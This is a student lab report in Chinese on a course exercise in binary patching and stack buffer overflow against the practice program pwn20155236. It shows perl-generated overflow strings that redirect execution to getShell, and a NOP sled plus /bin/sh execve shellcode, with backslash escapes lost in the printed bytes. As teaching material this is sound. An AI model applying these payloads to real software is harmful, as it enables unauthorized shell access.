zoukankan      html  css  js  c++  java
  • 20155236范晨歌 Exp1PC平台逆向破解及Bof基础实践

    出现的问题及解决:

    • 在下载execstack时,出现了下列签名无效的错误!
    • 解决方案:发现是密钥过期了,将新的密钥填入apt-keyring
    • 输入命令:apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6
      再执行update发现问题解决。

    实验一 逆向及Bof基础

    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP汇编指令的机器码是"90"
    • JNE汇编指令的机器码是"75"
    • JE 汇编指令的机器码是"74"
    • JMP汇编指令的机器码是"eb"
    • CMP汇编指令的机器码是"39"

    详情可见汇编指令及机器码速查

    2.掌握反汇编与十六进制编程器

    1)反汇编命令:objdump -d pwn20155236 | more

    2)十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
    输入命令vi pwn20155236查看可执行文件内容,发现大部分是我们没法理解的乱码;
    按esc后输入:%!xxd将显示模式切换为16进制模式;
    进行相关操作后,输入:%!xxd -r转换16进制为原格式。

    3.直接修改程序机器指令,改变程序执行流程

    1)在vi中查找到e8d7这一行,命令:/e8d7

    2)直接按i修改d7为c3

    3)输入::%!xxd -r转换16进制为原格式。
    4)存盘退出::wq
    5)再次输入反汇编命令查看并验证。


    实验二 利用foo函数的Bof漏洞

    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    1)1.输入gdb pwn20155236调试该程序,输入1111111122222222333333334444444455555555字符串确定哪几个字符会覆盖到返回地址

    2)再次输入字符串1111111122222222333333334444444412345678确定溢出的是那几位

    3)对比之前 eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444x7dx84x04x08
    4)构造输入字符串,由为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    命令:

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input```
    ![](https://images2018.cnblogs.com/blog/1073985/201803/1073985-20180318150856566-1362482309.png)
    3)用```xxd input```以16进制显示input文件,检查写入地址的正误;
    
    4)确认无误后用```(cat input;cat) | ./pwn20155236```来将改字符串作为可执行文件的输入。
    
    ---
    
    ## 实验三 注入Shellcode并执行
    1)使用```apt-get install execstack```命令安装execstack。
    2)![](https://images2018.cnblogs.com/blog/1073985/201803/1073985-20180318174606886-529733453.png)
    3)选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为x4x3x2x1),确定```perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode```中的x1_x4
    4)通过gdb调试得:端口3465,继续调试  
    ![](https://images2018.cnblogs.com/blog/1073985/201803/1073985-20180318210340876-285057144.png)
    
    
    ![](https://images2018.cnblogs.com/blog/1073985/201803/1073985-20180318210115302-1134397117.png)
    
    将其倒着放入x1_x4中,得```x00x00x00x00x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode```  
    ![](https://images2018.cnblogs.com/blog/1073985/201803/1073985-20180318210207141-539958031.png)
  • 相关阅读:
    nodejs
    jsp路径问题之base
    WordPress固定链接修改后访问文章页面404
    IntelliJ IDEA使用教程 (总目录篇)
    SQL SELECT DISTINCT 语句
    数据库的内连接、外连接(左外连接、右外连接、全外连接)以及交叉连接(转)
    SQL之group by 和 having
    SQL之group by
    通过端口 1433 连接到主机 localhost 的 TCP/IP 连接失败。错误:“Connection refused: connect。
    java.lang.NoClassDefFoundError: Could not initialize class com.demo.jdbc.utils.MyJdbcUtils
  • 原文地址:https://www.cnblogs.com/fcgfcgfcg/p/8595534.html
Copyright © 2011-2022 走看看